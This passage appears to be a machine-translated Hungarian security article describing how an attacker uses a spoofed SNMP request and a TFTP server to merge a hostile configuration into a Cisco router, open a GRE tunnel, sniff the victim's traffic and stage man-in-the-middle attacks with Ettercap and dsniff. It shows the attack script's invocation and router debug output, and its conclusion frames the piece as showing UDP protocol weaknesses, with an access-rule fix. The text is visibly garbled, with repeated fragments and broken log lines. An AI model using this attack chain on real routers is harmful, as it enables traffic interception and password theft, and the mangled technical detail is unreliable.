[e-mail védett]# ./merge-router-config.pl ####################################### # ############# # Cisco Router konfigurációjának egyesítése - SNMP használatával # Muts feltörte - [e-mail védett]################################################ # ##### Használat: ./merge-copy-config.pl Győződjön meg arról, hogy be van állítva egy TFTP-kiszolgáló, lehetőleg a /tmp fájlból! [e-mail védett]# Rögzítse ezt a csomagot, és módosítsa a visszatérési IP-címet és néhány más csomagfejléc mezőt az 5. ábrán látható módon.


5. ábra Csomagfejléc megváltoztatása.

A módosított csomag elküldése után TFTP kapcsolat jön létre számítógépünkkel (6. ábra).



6. ábra Csatlakozás a támadó TFTP-kiszolgálójához.

Ügyeljen a TFTP olvasási kérésére (2. csomag). A csomag megkerüli az SNMP hozzáférési szabályokat, aminek eredményeként egy új módosított konfigurációs fájl betöltődik és hozzáadódik az aktuális konfigurációhoz. A megtámadott útválasztó hibakeresési információi sok érdekes információt adnak a támadás lefolyásáról:

*Mar 1 00:32:53.854: SNMP: Kérelem beállítása, reqid 36323, errstat 0, erridx 0 .76.227 (a TFTP szerver címe) ccCopyTable.1.6.12285992 = pwnd-85992 = pwnd-85992 = pwnd-85992 = pwnd-85992 = pwnd-85992 = pwnd-85992 = pwnd-85992 = pwnd-85992 = pwnd-20.4Tfig22.4.9. *Mar 1 00:32:53.971: SNMP: Válasz, reqid 36323, errstat 0, erridx 0 ccCopyTable .1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 1 ccCopyTable.1.3.12285992 = 1 ccCopyTable.1.3.12285992 = 1 ccCopyTable.1.3.12285992 = 1 ccCopyTable.1.3.12285992 = 1 cc. 76.227 (a TFTP-szerver címe) 1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: UDP-n keresztül küldött csomag a 192.168.1.5-re. Ne feledje, hogy a TFTP-szerver címe eltér a támadó IP-címétől, és az átadásnak megfelelően történik. külön paraméter. Az alagút most nyitva van, indulásra kész, és diagramként ábrázolható a 7. ábrán.


7. ábra GRE alagút.

Ellenőrizheti, hogy az alagút működik-e, ha elküld egy hibakeresési parancsot a támadó útválasztójának:

Attacker# hibakereső alagút *március 3. 06:38: Tunnel0: GRE/IP a 212.199.145.242 osztályozáshoz ->80.179.20.55 (len=108 típus=0x800 ttl=253 tos=0x0) *Márc. 3. 06: 8 szomszédos alagút javítás, 80.179.20.55 -> 212.199.145.242, tos=0x0 *március 3. 06:38: Tunnel0: GRE/IP a 212.199.145.242 osztályozáshoz ->80.179.20.55 ->80.179.20.55 ->80.179.20.50 to 0xt=0102 típus *Március 3. 06:38: Tunnel0: szomszédsági javítás, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Tegyük fel, hogy a megtámadott számítógép a „GRE Sniffing” kifejezésre keresett a Google-on, a 8. ábrán látható módon.


8. ábra: Az áldozat információkat keres a GRE alagutakról.

Ezen műveletek eredményeként a támadó számítógépén lévő Ethereal megkapja a 9. ábrán látható csomagokat.




9. ábra: A szippantó a Google által a GRE alagutakra vonatkozó információkérést jeleníti meg.

Amellett, hogy speciális szippantót (például dsniff) használunk a szöveges jelszavak elfogására, kifinomult emberközeli támadásokat hajthatunk végre az áldozat számítógépén. Az Ettercap egy jó segédprogram, amely az elfogáson kívül lehetővé teszi különböző típusok jelszavakat, ember-in-the-middle támadást szervezzen a titkosított ellen SSL protokollokés SSH. Az Ettercap szűrők segítségével kezelheti és módosíthatja az áthaladó forgalmat. A lehetőségek szinte végtelenek.

Következtetés

Néha néhány dolog nem az, aminek látszik. Amikor az SNMP-vel (vagy más UDP-alapú protokollokkal) foglalkozik, mindig tisztában kell lennie azokkal a zugokkal, amelyek figyelmen kívül hagyása veszélyeztetheti a hálózatot.

A leírt példában egy további hozzáférési szabály, amely kifejezetten megadja a TFTP-kiszolgáló címét (a megtámadott útválasztón található), elegendő lenne a támadás meghiúsításához.

A szkeptikusok megkérdezhetik: „Honnan tudott a támadó az RW-csoport hozzáférési szabályairól / SNMP-nevéről?”. Ezeket az információkat nyers erővel lehet megszerezni, nemcsak a csoportneveket, hanem a feloldott IP-címeket is, és már létezik ilyen segédprogram.

A cikk célja nem annyira a leírt támadás hatékonyságának bemutatása volt, mint inkább az UDP-n alapuló protokollok lehetséges hiányosságai. Ez semmiképpen sem jelenti azt, hogy a Cisco berendezés nem biztonságos. A megfelelő konfigurációnak minimálisra kell csökkentenie a védelem megkerülésének esélyét. A hálózati rendszergazdák hibái a fő okai a Cisco-berendezések kompromisszumainak.

A Cisco útválasztók biztonságának fokozásával kapcsolatos információk a következő címen találhatók:



Betöltés...
Top